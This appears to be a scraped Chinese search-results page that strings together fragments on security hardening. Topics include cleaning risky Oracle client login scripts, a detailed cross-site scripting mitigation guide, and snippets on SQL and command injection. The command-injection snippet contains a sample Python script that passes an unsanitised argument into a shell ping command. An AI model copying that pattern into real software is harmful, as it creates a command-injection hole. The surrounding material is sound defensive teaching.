    1)数据库里面查询异常对象,并及时清理。

    2)建议业务用户尽量限制dba 权限

    3)检查相关登陆工具的自动运行脚本 清理掉有风险脚本
    sqlplus中的glogin.sql/login.sql
    toad中的toad.ini
    plsql dev中的login.sql/afterconnect.sql

    4)建议从官方下载工具,不要使用绿色版/破解版等

    展开全文
  • 脚本编制 详细信息 有多种减轻威胁的技巧: [1] 策略:库或框架 使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。 可用于更轻松生成正确编码的输出的库和框架示例包括 ...

    跨站       3.点脚本编制

    详细信息

    有多种减轻威胁的技巧:

    [1] 策略:库或框架

    使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。

    可用于更轻松生成正确编码的输出的库和框架示例包括 Microsoft 的 Anti-XSS 库、OWASP ESAPI 编码模块和 Apache Wicket。

    [2] 了解将在其中使用数据的上下文,以及预期的编码。在不同组件之间传输数据时,或在生成可同时包含多个编码的输出(如 Web 页面或多部分邮件消息)时,这尤为重要。研究所有预期的通信协议和数据表示法以确定所需的编码策略。对于将输出到另一个 Web 页面的任何数据(尤其是从外部输入接收到的任何数据),请对所有非字母数字字符使用恰当的编码。

    相同输出文档的某些部分可能需要不同的编码,具体取决于输出是在以下哪一项中:

    [-] HTML 主体

    [-] 元素属性(如 src="XYZ")

    [-] URI

    [-] JavaScript 段

    [-] 级联样式表和样式属性

    请注意,“HTML 实体编码”仅适用于 HTML 主体。

    请咨询 XSS Prevention Cheat Sheet

    以获取有关所需编码和转义类型的更多详细信息。

    [3] 策略:识别和减少攻击出现的机会

    了解您的软件中可能出现不可信输入的所有潜在区域:参数或自变量、cookie、从网络读取的任何内容、环境变量、反向 DNS 查找、查询结果、请求头、URL 组成部分、电子邮件、文件、文件名、数据库以及向应用程序提供数据的任何外部系统。请记住,此类输入可通过 API 调用间接获取。

    [4] 策略:输出编码

    对于生成的每个 Web 页面,请使用并指定 ISO-8859-1 或 UTF-8 之类的字符编码。如果未指定编码,Web 浏览器可能通过猜测 Web 页面实际使用的编码来选择不同的编码。这可能导致 Web 浏览器将特定序列视为特殊序列,从而使客户机暴露在不易察觉的 XSS 攻击之下。请参阅 CWE-116 以获取与编码/转义相关的更多减轻威胁的方法。

    [5] 策略:识别和减少攻击出现的机会

    要帮助减轻针对用户会话 cookie 的 XSS 攻击带来的威胁,请将会话 cookie 设置为 HttpOnly。在支持 HttpOnly 功能的浏览器(如 Internet Explorer 和 Firefox 的较新版本)中,此属性可防止使用 document.cookie 的恶意客户机端脚本访问用户的会话 cookie。这不是完整的解决方案,因为 HttpOnly 并不受所有浏览器支持。更重要的是,XMLHTTPRequest 和其他功能强大的浏览器技术提供了对 HTTP 头的读访问权,包括在其中设置 HttpOnly 标志的 Set-Cookie 头。

    [6] 策略:输入验证假定所有输入都是恶意的。使用“接受已知善意”输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于将恶意或格式错误的输入加入黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入格式不正确,以致应当将其彻底拒绝。

    执行输入验证时,请考虑所有潜在相关属性,包括长度、输入类型、可接受值的完整范围、缺失或多余输入、语法、跨相关字段的一致性以及业务规则一致性。以业务规则逻辑为例,“boat”可能在语法上有效,因为它仅包含字母数字字符,但如果预期为颜色(如“red”或“blue”),那么它无效。

    动态构造 Web 页面时,请使用严格的白名单以根据请求中参数的预期值来限制字符集。所有输入都应进行验证和清理,不仅限于用户应指定的参数,而是涉及请求中的所有数据,包括隐藏字段、cookie、头、URL 本身,等等。导致 XSS 脆弱性持续存在的一个常见错误是仅验证预期会由站点重新显示的字段。常见的情况是,在请求中出现由应用程序服务器或应用程序反射的其他数据,而开发团队却未能预料到此情况。另外,将来的开发者可能会使用当前未反映的字段。因此,建议验证 HTTP 请求的所有部分。请注意,适当的输出编码、转义和引用是防止 XSS 的最有效解决方案,虽然输入验证可能会提供一定的深度防御。输入验证会有效限制将在输出中出现的内容。它并不总是能够防止 XSS,尤其是在您需要支持可包含任意字符的自由格式文本字段的情况下。例如,在聊天应用程序中,心型表情图标(“<3”)可能会通过验证步骤,因为它的使用频率很高。但是,不能将其直接插入到 Web 页面中,因为它包含“<”字符,该字符需要转义或以其他方式进行处理。在此情况下,消除“<”可能会降低 XSS 的风险,但是这会产生不正确的行为,因为这样就不会记录表情图标。

    这可能看起来只是略有不便,但在需要表示不等式的数学论坛中,这种情况就更为重要。即使在验证中出错(例如,在 100 个输入字段中忘记一个字段),相应的编码仍有可能针对基于注入的攻击为您提供防护。只要输入验证不是孤立完成的,便仍是有用的技巧,因为它可以大大减少攻击出现的机会,使您能够检测某些攻击,并提供正确编码所无法解决的其他安全性优势。请确保在应用程序内定义良好的界面中执行输入验证。即使某个组件进行了复用或移动到其他位置,这也将有助于保护应用程序。



    展开全文
  • 其中主要的几个问题是sql注入风险、跨站xss攻击和链接注入问题。首先,什么是sql注入,度娘一下一大堆,官方语言我就不多说了,说说我自己的理解吧。sql注入就是通过url或者post提交数据时候,字符串类型的参数会被...
  • XSS攻击包括将恶意的客户端脚本注入网站,并将该网站用作传播方法。 XSS背后的风险在于,它允许攻击者将内容注入网站并修改其显示方式,从而迫使受害者的浏览器在加载页面时执行攻击者提供的代码。 XSS存在于所有...
  • 1 SQL注入、盲注 1.1 SQL注入、盲注概述 Web 应用程序通常在后端使用数据库,以与企业数据仓库交互。查询数据库事实上的标准语言是 SQL(各大数据库供应商都有自己的不同版本)。Web 应用程序通常会获取用户输入...
  • Tivoli Netcool Service Quality Manager的Web接口中存在多个跨站脚本漏洞,已认证的用户可以使用报表生成功能创建名称中嵌入了恶意代码的报表,当在主面板中打开报表历史时就会在用户浏览器会话中执行注入的代码。...
  • SQL注入与XSS都是web安全中的危险漏洞 简单来说一下XSS与CSRF最大的区别,这两个的最大的不同点在于XSS是客户端信任服务端,当服务端未过滤恶意代码发送给客户端,客户端浏览器就直接执行;CSRF是服务端信任客户端,...
  • 命令注入

    千次阅读 2018-12-04 10:34:57
    一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令。 测试脚本command.py: import os,subprocess import sys command = "ping -c 4 {}".format(sys.argv[1]) p = subprocess.Popen(command, ...
  • OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险。实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功。虽然这是最明显的组合关系,但是注入攻击带来的不仅仅是 XSS。 注入攻击代指...
  • 用户是通过浏览器来访问web server上的网页,XSS攻击就是攻击者通过各种办法,在用户访问的网页中插入自己的脚本,让其在用户访问网页时在其浏览器中进行执行。攻击者通过插入的脚本的执行,来获得用户的信息,比如...
  • Postgresql巡检脚本

    千次阅读 2019-04-28 14:43:11
    # 功能:PostgreSQL 数据库健康检查脚本; # 使用: ./pg_healthcheck.sh, 执行成功后生成报告文件 pg_healthcheck.report ,同时注意以下: # 1 此程序目前版本仅能在数据库主机上执行; # 2 此程序需要数据库超级...
  • 春节刚过完,上班的第一天,公司网站被百度停止推广了,百度推广提示:您的url被百度杀毒提示存在网址安全风险,故物料不宜推广;若有异议,请进入百度杀毒申诉通道申诉。第一时间联系了当地百度公司客服,客服帮...
  • 现在想请大家来讨论一下这种方式会不会存在被脚本注入风险!感恩... 补充一点如下:由于业务的关系,不存在脚本和方法的调用权限问题,意思是在脚本外层已经做好了用户和脚本所对应的权限分配。这里的注入是指...
  • 注入攻击

    2020-10-14 09:03:22
    OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险。实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功。虽然这是最明显的组合关系,但是注入攻击带来的不仅仅是 XSS。 注入攻击代指...
  • 初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。 发生模式: JavaScript注入漏洞能发生作用主要...
  • 事件概述:2015年10月29日国外知名CMS(内容管理系统)Joomla,爆出存在SQL注入漏洞,该漏洞影响了 1.5 到 3.4.5 的所有版本,漏洞利用无须登录,直接在前台即可执行任意PHP代码。这个漏洞在libraries/joomla/sesion/sesion...
  • SQL注入 盲注

    2017-04-28 10:42:00
    (1)脚本注入式的攻击(2)恶意用户输入用来影响被执行的SQL脚本 风险风险方面,SQL注入攻击是位居前列的,与缓冲区溢出等漏洞基本相当。而且如果要实施缓冲区溢出攻击,攻击者必须首先能绕过站点的防火墙;而...
  • 从这篇文章开始,作者将带着...第二篇文章主要介绍4种常见的注入技术,包括全局钩子、远线程钩子、突破SESSION 0隔离的远线程注入、APC注入,案例包括键盘钩子、计算器远线程注入实现、APC注入等,希望对您有所帮助。
  • 文章目录XSS的攻击相关资料整理跨站脚本攻击(XSS)XSS 简介XSS 危害XSS 原理XSS 分类XSS 防御总结XSS 问答参考资料 跨站脚本攻击(XSS) XSS 简介 人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会...
  • wdcp虚拟主机管理系统注入漏洞

    千次阅读 2014-05-24 04:21:45
    日期:2014-05-13 | 来源:伟大娃娃 | 作者:人生注入点 | 287 人围观 ...passwd字段存在注入风险,选择限制字符长度为30.我想应该有大牛能绕过!   下面给出由伟大娃娃发布的漏洞利用脚本
  • 一般情况下,黑名单是不安全的,它存在被绕过的风险。比如有的防注入程序只过滤了通过GET、POST方式提交的数据,对通过Cookie方式提交的数据却并没有过滤,我们可以使用Cookie注入攻击。简单说, cookie是服务器给...
  • 攻击者向网页中注入恶意脚本,当用户浏览网页时,脚本就会执行,进而影响用户,比如关不完的网站、盗取用户的 cookie 信息从而伪装成用户去操作,携带木马等等。 1.2 xss分类 反射型XSS(非持久性跨站攻击) ...
  • PHP 防SQL注入和XSS攻击

    千次阅读 2016-11-21 22:51:43
    就是通过把SQL命令、JS脚本等插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.在用户名输入框中输入:' or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为“#”在mysql...
  • Cross-site scripting (跨站脚本) 跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响...
  • 动态网站具有静态网站所没有的威胁,称为“跨站点脚本编制”,也称为“ XSS”。 “网页包含服务器生成并由客户端浏览器解释的文本和HTML标记。仅生成静态页面的网站能够完全控制浏览器用户如何解释这些页面。生成...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 11,080
精华内容 4,432
关键字:

存在脚本注入风险